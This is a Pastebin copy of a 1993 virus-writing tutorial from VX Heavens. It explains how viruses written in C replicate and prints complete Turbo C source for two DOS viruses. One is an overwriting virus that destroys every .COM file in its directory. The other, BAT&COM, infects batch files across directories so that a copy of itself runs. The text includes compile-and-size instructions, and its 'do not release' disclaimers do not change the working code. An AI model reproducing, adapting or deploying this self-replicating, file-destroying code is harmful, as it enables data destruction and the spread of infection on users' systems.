Guest User

Untitled

a guest
May 23rd, 2018
91
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 10.68 KB | None | 0 0
  1. VX Heavens
  2. Library index / VDAT main menu
  3.  
  4.  
  5. Virus in C
  6.  
  7. Upper-level languages, such as Basic, C, and a multitude of
  8. others, are where most programmers these days feel at home. They
  9. provide users with an amazing amount of built-in functionality,
  10. and allow the programmer to escape from having to deal with the
  11. machine that is being programmed on, and instead focus on the
  12. details of the program design. For viruses, this makes them easy
  13. languages to start in, but there are several obstacles. The first
  14. is that most upper-level languages simply were not made to program
  15. at a base systems level, even in C this is not easy. As a result,
  16. most viruses that are in this genre are primitive [usually
  17. overwriting] in their reproduction mechanism, although their
  18. activation routines can be impressive. Another really important
  19. disadvantage is that high-level languages often create files that
  20. are at the very LEAST 10k and often much higher - not very
  21. efficient for a virus. With this overhead, a memory-resident
  22. virus is impractical as it would usually be noticed by the user
  23. when a rather large chunk of memory disappears for no apparent
  24. reason.
  25.  
  26. Another possibility with high-level languages, however, is a
  27. source-code virus. This kind of virus is quite rare (to the best
  28. of my knowledge) but could be very effective. What a source-code
  29. virus does, in short, is search for another source file in the
  30. same language - for example, it might search for all files with a
  31. ".C" extension for C. It would then add its own source code to
  32. the file (often by way of "including" a header with the routines
  33. and placing a call to it in main()) which would execute once the
  34. program was compiled. After compilation, the virus would be more
  35. or less hidden inside the application, and would be dormant until
  36. it found another ".C" file. The only documented case of this that
  37. I know of is Mark Ludwig's virus presented in Computer Virus
  38. Developments Quarterly, Volume 1, Number 2.
  39.  
  40. At any rate, all of these viruses have some basic steps in
  41. common. They are:
  42.  
  43. 1) Find a file to infect, be it an executable, source,
  44. or whatever (If none found, go to step 3)
  45. 2) Place virus in file.
  46. 3) Decide if any activation routines are met and, if so,
  47. activate.
  48. 4) Return to host or terminate and return to DOS.
  49.  
  50. For overwriting viruses, the implementation of these is quite
  51. simple. The only problem with these viruses is that they totally
  52. destroy any program that they infect, making them quite obvious.
  53. The only way to cure these is to find all of the infected files
  54. and delete them, restoring them from backups. The following virus
  55. is an extremely simple overwriting virus written in C. It will
  56. infect all .COM files within the current directory, destroying
  57. them completely. As it infects each file, it will print
  58. "Infecting [FILENAME]" on the screen as a warning. If you compile
  59. it to test it, compile it once, then EXE2BIN it and check the
  60. resultant size. If it does not equal 9504 bytes, change the line
  61. "x=9054;" to the appropriate size value. Do be careful with this
  62. virus, because while it is a primitive one, it will destroy any
  63. .COM files that it hits.
  64.  
  65. - - ------------------ Cut Here -------------------------- - -
  66. /* This is a simple overwriting virus programmed in Turbo C */
  67. /* It will infect all .COM files in the current directory */
  68. /* Infections destroy the programs and cannot be cured */
  69. /* It was presented in Virology 101 (c) 1993 Black Wolf */
  70. /* FOR EDUCATIONAL PURPOSES ONLY, DO NOT RELEASE! */
  71.  
  72. #include <stdio.h>
  73. #include <dos.h>
  74. #include <dir.h>
  75.  
  76. FILE *Virus,*Host;
  77. int x,y,done;
  78. char buff[256];
  79. struct ffblk ffblk;
  80.  
  81. main()
  82. {
  83. done = findfirst("*.COM",&ffblk,0); /* Find a .COM file */
  84. while (!done) /* Loop for all COM's in DIR*/
  85. {
  86. printf("Infecting %s\n", ffblk.ff_name); /* Inform user */
  87. Virus=fopen(_argv[0],"rb"); /* Open infected file */
  88. Host=fopen(ffblk.ff_name,"rb+"); /* Open new host file */
  89.  
  90. x=9504; /* Virus size - must */
  91. /* be correct for the */
  92. /* compiler it is made */
  93. /* on, otherwise the */
  94. /* entire virus may not*/
  95. /* be copied!! */
  96. while (x>256) /* OVERWRITE new Host */
  97. { /* Read/Write 256 byte */
  98. fread(buff,256,1,Virus); /* chunks until bytes */
  99. fwrite(buff,256,1,Host); /* left < 256 */
  100. x-=256;
  101. }
  102. fread(buff,x,1,Virus); /* Finish off copy */
  103. fwrite(buff,x,1,Host);
  104. fcloseall(); /* Close both files and*/
  105. done = findnext(&ffblk); /* go for another one. */
  106. }
  107. /* Activation would go */
  108. /* here */
  109. return (0); /* Terminate */
  110. }
  111. - - ------------------ Cut Here --------------------------- - -
  112.  
  113. The next virus to be presented is also in C, but is quite a
  114. bit different in functioning than the last. Instead of infecting
  115. executable files by overwriting them, it infects .BAT files by
  116. the directory. When executed, BAT&COM will first search one
  117. directory below the current for batch files. If none are found,
  118. it will try the root directory, then finally the DOS directory.
  119. If it finds any batch files, it will infect all of the batches
  120. in the directory, then check to see if its file has already
  121. been put there. If not, then it will create a file called
  122. BAT&COM containing the virus. On my setup, after EXE2BIN-ing
  123. the file, it came out around 10k. The virus code is as follows:
  124.  
  125. The BAT&COM Virus in C
  126.  
  127. - - - -----------------Start Code------------------------- - - -
  128. /* This file is a high-level language virus of a different sort.
  129. It will search out batch files and, when found, place a copy
  130. of itself in the directory with the batch file while adding
  131. instructions in the BAT to execute this new file. In this way,
  132. it will spread each time an "infected" batch is run.
  133. Disinfection is done simply by deleting all of the BAT&COM.COM
  134. files and removing the commands from batch files that ruin
  135. them. This one is NOT confined to the current directory,
  136. so make sure it is on an isolated machine and be sure to
  137. clean up any infections. PLEASE DO NOT RELEASE!
  138.  
  139. BAT&COM virus is (C) 1993 Black Wolf Enterprises.
  140. */
  141.  
  142.  
  143. #include <stdio.h>
  144. #include <dos.h>
  145. #include <dir.h>
  146. #include <string.h>
  147.  
  148. struct ffblk ffblk;
  149. main()
  150. {
  151. char old_dir[MAXPATH];
  152. Get_Path(old_dir); /* Save the old directory */
  153. Pick_A_Dir(); /* Find a new directory to */
  154. Infect_Directory(); /* infect and infect it. */
  155. chdir(old_dir); /* Return to old directory */
  156. return 0;
  157. }
  158.  
  159.  
  160.  
  161. Pick_A_Dir()
  162. {
  163. int done;
  164. chdir(".."); /* First, Go out a DIR. */
  165. done=findfirst("*.BAT",&ffblk,0); /* If no BAT files, try */
  166. /* root and DOS */
  167. if (done)
  168. {
  169. chdir("\\");
  170. done=findfirst("*.BAT",&ffblk,0);
  171. if (done) chdir("\\DOS\\");
  172. }
  173. return 0;
  174. }
  175.  
  176.  
  177. Infect_Directory()
  178. {
  179. int done;
  180.  
  181. done = findfirst("*.BAT",&ffblk,0);
  182. while (!done) /* Find all .BAT files */
  183. { /* and add code to run */
  184. Do_Batch(); /* BAT&COM if not */
  185. done = findnext(&ffblk); /* already there */
  186. }
  187.  
  188. if (findfirst("BAT&COM.COM",&ffblk,0)) /* If BAT&COM does */
  189. {Copy_Virus();} /* not exist, then */
  190. return 0; /* copy it into dir.*/
  191. }
  192.  
  193.  
  194.  
  195. Do_Batch()
  196. {
  197. FILE *batch;
  198. char Infection_Buffer[12];
  199. char vpath[MAXPATH];
  200.  
  201. Get_Path(vpath); /* Get path for adding path */
  202. /* specifier in commands */
  203.  
  204.  
  205. if (vpath[3]==0) vpath[2]=0; /* Keep path good in root */
  206.  
  207. batch=fopen(ffblk.ff_name, "rt+");
  208. fseek(batch, -11, SEEK_END);
  209. fread(Infection_Buffer,11,1,batch);
  210. Infection_Buffer[11]=0; /* Terminate String */
  211.  
  212. if (strcmp(Infection_Buffer,"BAT&COM.COM")) /* Check if */
  213. { /* Batch is */
  214. fseek(batch, 0, SEEK_END); /* infected.*/
  215. fprintf(batch,"\n%s\\BAT&COM.COM",vpath);
  216. } /*^- Add command */
  217. /* to batch */
  218.  
  219. fclose(batch);
  220. return 0;
  221. }
  222.  
  223.  
  224. Copy_Virus()
  225. {
  226. FILE *old_virus, *new_virus;
  227. int write_length;
  228. char copy_buffer[1024]; /* Copy the virus to */
  229. /* new directory */
  230. old_virus=fopen(_argv[0],"rb");
  231. new_virus=fopen("BAT&COM.COM","wb");
  232.  
  233. write_length=1024;
  234.  
  235. while (write_length==1024)
  236. {
  237. write_length=fread(copy_buffer,1,1024,old_virus);
  238. fwrite(copy_buffer,write_length,1,new_virus);
  239. }
  240. fclose(old_virus);
  241. fclose(new_virus);
  242. return 0;
  243. }
  244.  
  245.  
  246. Get_Path(char *path)
  247. {
  248. strcpy(path, "A:\\");
  249. path[0] ='A' + getdisk(); /* Returns current path */
  250. getcurdir(0, path+3);
  251. return 0;
  252. }
  253. - - - -----------------End of Code------------------------ - - -
Add Comment
Please, Sign In to add comment